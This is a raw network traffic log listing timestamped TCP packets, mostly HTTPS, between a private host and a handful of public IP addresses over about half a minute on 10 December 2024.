Dec 10, 2024 00:06:42.746373892 CET	443	49759	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:42.746436119 CET	49759	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.746679068 CET	49759	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:42.746690989 CET	443	49759	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:43.250695944 CET	49760	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:43.250760078 CET	443	49760	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:43.250833988 CET	49760	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:43.251092911 CET	49760	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:43.251111984 CET	443	49760	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:43.605902910 CET	443	49758	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:43.606189966 CET	49758	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:43.606199980 CET	443	49758	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:43.606556892 CET	443	49758	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:43.606930017 CET	49758	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:43.606987953 CET	443	49758	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:43.607064962 CET	49758	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:43.651335955 CET	443	49758	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:43.954772949 CET	443	49759	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:43.955104113 CET	49759	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:43.955130100 CET	443	49759	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:43.955471992 CET	443	49759	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:43.956026077 CET	49759	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:43.956026077 CET	49759	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:43.956084013 CET	443	49759	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:44.011353970 CET	49759	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:44.067925930 CET	443	49758	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:44.067996979 CET	443	49758	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:44.068398952 CET	49758	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:44.068398952 CET	49758	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:44.379370928 CET	49758	443	192.168.2.5	35.190.80.1
Dec 10, 2024 00:06:44.379404068 CET	443	49758	35.190.80.1	192.168.2.5
Dec 10, 2024 00:06:44.402321100 CET	443	49759	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:44.402398109 CET	443	49759	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:44.403876066 CET	49759	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:44.403876066 CET	49759	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:44.523540974 CET	443	49760	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:44.529189110 CET	49760	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:44.529238939 CET	443	49760	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:44.529611111 CET	443	49760	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:44.530050039 CET	49760	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:44.530050039 CET	49760	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:44.530069113 CET	443	49760	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:44.530121088 CET	443	49760	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:44.579488993 CET	49760	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:44.712734938 CET	49759	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:44.712765932 CET	443	49759	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:44.971385002 CET	443	49760	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:44.971477032 CET	443	49760	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:44.971528053 CET	49760	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:44.971533060 CET	443	49760	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:44.971592903 CET	49760	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:44.972138882 CET	49760	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:44.972161055 CET	443	49760	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:44.978986979 CET	49766	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:44.979023933 CET	443	49766	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:44.979094028 CET	49766	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:44.979301929 CET	49766	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:44.979321003 CET	443	49766	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:46.270746946 CET	443	49766	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:46.271235943 CET	49766	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:46.271249056 CET	443	49766	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:46.271589041 CET	443	49766	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:46.272465944 CET	49766	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:46.272526026 CET	443	49766	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:46.272618055 CET	49766	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:46.315340042 CET	443	49766	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:46.734297991 CET	443	49766	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:46.734365940 CET	443	49766	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:46.734447002 CET	49766	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:46.735032082 CET	49766	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:46.735052109 CET	443	49766	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:46.738908052 CET	49772	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:46.738941908 CET	443	49772	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:46.739006042 CET	49772	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:46.739243984 CET	49772	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:46.739257097 CET	443	49772	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:47.514569998 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:47.514620066 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:47.514688969 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:47.514971018 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:47.514980078 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:47.960465908 CET	443	49772	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:47.960752010 CET	49772	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:47.960773945 CET	443	49772	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:47.961987972 CET	443	49772	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:47.962466002 CET	49772	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:47.962614059 CET	49772	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:47.962644100 CET	443	49772	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:48.005964994 CET	49772	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:48.505435944 CET	443	49772	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:48.505496025 CET	443	49772	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:48.505551100 CET	49772	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:48.506479979 CET	49772	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:48.506495953 CET	443	49772	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:48.856146097 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:48.856538057 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:48.856564045 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:48.856852055 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:48.857168913 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:48.857223034 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:48.857302904 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:48.857402086 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:48.857433081 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:48.857526064 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:48.857553959 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.505013943 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.505068064 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.505101919 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.505134106 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:49.505162954 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.505306005 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:49.505368948 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.513396978 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.513459921 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:49.513467073 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.521475077 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.521524906 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:49.521534920 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.529833078 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.529897928 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:49.529903889 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.584132910 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:49.624274015 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.677973032 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:49.696787119 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.700558901 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.700711966 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:49.700721979 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.706875086 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.706927061 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:49.706933022 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.714725018 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.714795113 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:49.714801073 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.722407103 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.722466946 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:49.722476006 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.722485065 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.722537041 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:49.722779989 CET	49773	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:49.722794056 CET	443	49773	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:49.846254110 CET	49779	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:49.846298933 CET	443	49779	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:49.846470118 CET	49779	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:49.846584082 CET	49779	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:49.846591949 CET	443	49779	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:51.064141035 CET	443	49779	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:51.064454079 CET	49779	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:51.064470053 CET	443	49779	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:51.064747095 CET	443	49779	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:51.065221071 CET	49779	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:51.065325975 CET	443	49779	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:51.065371990 CET	49779	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:51.111330032 CET	443	49779	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:51.116215944 CET	49779	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:51.509668112 CET	443	49779	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:51.509738922 CET	443	49779	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:51.509793043 CET	49779	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:51.510643005 CET	49779	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:06:51.510658979 CET	443	49779	104.18.94.41	192.168.2.5
Dec 10, 2024 00:06:58.464859962 CET	49799	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:58.464896917 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:58.465096951 CET	49799	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:58.465316057 CET	49799	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:58.465332031 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:59.708142996 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:59.708470106 CET	49799	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:59.708489895 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:59.708770037 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:59.709116936 CET	49799	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:59.709167957 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:59.709280968 CET	49799	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:59.709356070 CET	49799	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:59.709408045 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:06:59.709486961 CET	49799	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:06:59.709517002 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:07:00.445100069 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:07:00.445168972 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:07:00.445234060 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:07:00.445270061 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:07:00.445310116 CET	49799	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:07:00.445328951 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:07:00.445342064 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:07:00.445358038 CET	49799	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:07:00.445399046 CET	49799	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:07:00.446248055 CET	49799	443	192.168.2.5	104.18.95.41
Dec 10, 2024 00:07:00.446263075 CET	443	49799	104.18.95.41	192.168.2.5
Dec 10, 2024 00:07:00.451936007 CET	49805	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:07:00.451971054 CET	443	49805	104.18.94.41	192.168.2.5
Dec 10, 2024 00:07:00.452039003 CET	49805	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:07:00.452843904 CET	49805	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:07:00.452858925 CET	443	49805	104.18.94.41	192.168.2.5
Dec 10, 2024 00:07:00.958058119 CET	49806	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:00.958148003 CET	443	49806	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:00.958234072 CET	49806	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:00.958549976 CET	49806	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:00.958580971 CET	443	49806	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:01.712680101 CET	443	49805	104.18.94.41	192.168.2.5
Dec 10, 2024 00:07:01.712984085 CET	49805	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:07:01.713021040 CET	443	49805	104.18.94.41	192.168.2.5
Dec 10, 2024 00:07:01.713306904 CET	443	49805	104.18.94.41	192.168.2.5
Dec 10, 2024 00:07:01.713615894 CET	49805	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:07:01.713666916 CET	443	49805	104.18.94.41	192.168.2.5
Dec 10, 2024 00:07:01.713757992 CET	49805	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:07:01.759330988 CET	443	49805	104.18.94.41	192.168.2.5
Dec 10, 2024 00:07:02.160975933 CET	443	49805	104.18.94.41	192.168.2.5
Dec 10, 2024 00:07:02.161053896 CET	443	49805	104.18.94.41	192.168.2.5
Dec 10, 2024 00:07:02.161205053 CET	49805	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:07:02.162077904 CET	49805	443	192.168.2.5	104.18.94.41
Dec 10, 2024 00:07:02.162096024 CET	443	49805	104.18.94.41	192.168.2.5
Dec 10, 2024 00:07:02.168787956 CET	443	49806	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:02.168998957 CET	49806	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:02.169027090 CET	443	49806	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:02.169883013 CET	443	49806	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:02.169944048 CET	49806	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:02.170259953 CET	49806	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:02.170285940 CET	49806	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:02.170304060 CET	443	49806	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:02.170329094 CET	49806	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:02.170387983 CET	49806	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:02.170587063 CET	49810	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:02.170609951 CET	443	49810	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:02.170694113 CET	49810	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:02.170929909 CET	49810	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:02.170942068 CET	443	49810	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:03.395107985 CET	443	49810	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:03.395441055 CET	49810	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:03.395467997 CET	443	49810	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:03.396456957 CET	443	49810	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:03.396518946 CET	49810	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:03.397779942 CET	49810	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:03.397849083 CET	443	49810	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:03.398025036 CET	49810	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:03.398032904 CET	443	49810	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:03.445050955 CET	49810	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:04.280503988 CET	443	49810	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:04.280611992 CET	443	49810	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:04.280668020 CET	49810	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:04.282017946 CET	49810	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:04.282036066 CET	443	49810	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:04.451873064 CET	49818	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:04.451909065 CET	443	49818	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:04.451961994 CET	49818	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:04.452472925 CET	49818	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:04.452488899 CET	443	49818	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:05.713335991 CET	443	49818	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:05.713606119 CET	49818	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:05.713620901 CET	443	49818	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:05.714497089 CET	443	49818	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:05.714564085 CET	49818	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:05.714885950 CET	49818	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:05.714898109 CET	49818	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:05.714941025 CET	49818	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:05.714941025 CET	443	49818	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:05.714997053 CET	49818	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:05.715214968 CET	49821	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:05.715249062 CET	443	49821	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:05.715317011 CET	49821	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:05.715487003 CET	49821	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:05.715497971 CET	443	49821	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:07.177891016 CET	443	49821	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:07.178138971 CET	49821	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:07.178154945 CET	443	49821	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:07.179018974 CET	443	49821	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:07.179075956 CET	49821	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:07.179474115 CET	49821	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:07.179527044 CET	443	49821	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:07.179594994 CET	49821	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:07.179600954 CET	443	49821	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:07.225832939 CET	49821	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:09.082351923 CET	443	49821	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:09.082467079 CET	443	49821	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:09.082519054 CET	49821	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:09.083329916 CET	49821	443	192.168.2.5	172.67.181.220
Dec 10, 2024 00:07:09.083342075 CET	443	49821	172.67.181.220	192.168.2.5
Dec 10, 2024 00:07:11.269145012 CET	49718	80	192.168.2.5	184.168.110.22
Dec 10, 2024 00:07:11.388451099 CET	80	49718	184.168.110.22	192.168.2.5
Dec 10, 2024 00:07:12.237246037 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:12.237286091 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:12.237360954 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:12.237557888 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:12.237565994 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.087827921 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.088047981 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.088068962 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.088918924 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.088984966 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.090037107 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.090090036 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.090234041 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.090240955 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.130028009 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.597013950 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.643074989 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.673259020 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.673274040 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.673290968 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.673297882 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.673317909 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.673327923 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.673350096 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.673360109 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.673377037 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.673403978 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.874852896 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.874891043 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.874936104 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.874952078 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.874985933 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.875001907 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.947185993 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.947220087 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.947268009 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.947293043 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:14.947310925 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:14.947335958 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.039288044 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.039304972 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.039405107 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.039412022 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.041232109 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.075439930 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.075459957 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.075532913 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.075540066 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.075577021 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.098870993 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.098886967 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.098947048 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.098953009 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.098997116 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.120259047 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.120274067 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.120357037 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.120362043 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.120994091 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.229202986 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.229218960 CET	443	49840	152.199.21.175	192.168.2.5
Dec 10, 2024 00:07:15.229289055 CET	49840	443	192.168.2.5	152.199.21.175
Dec 10, 2024 00:07:15.229294062 CET	443	49840	152.199.21.175	192.168.2.5
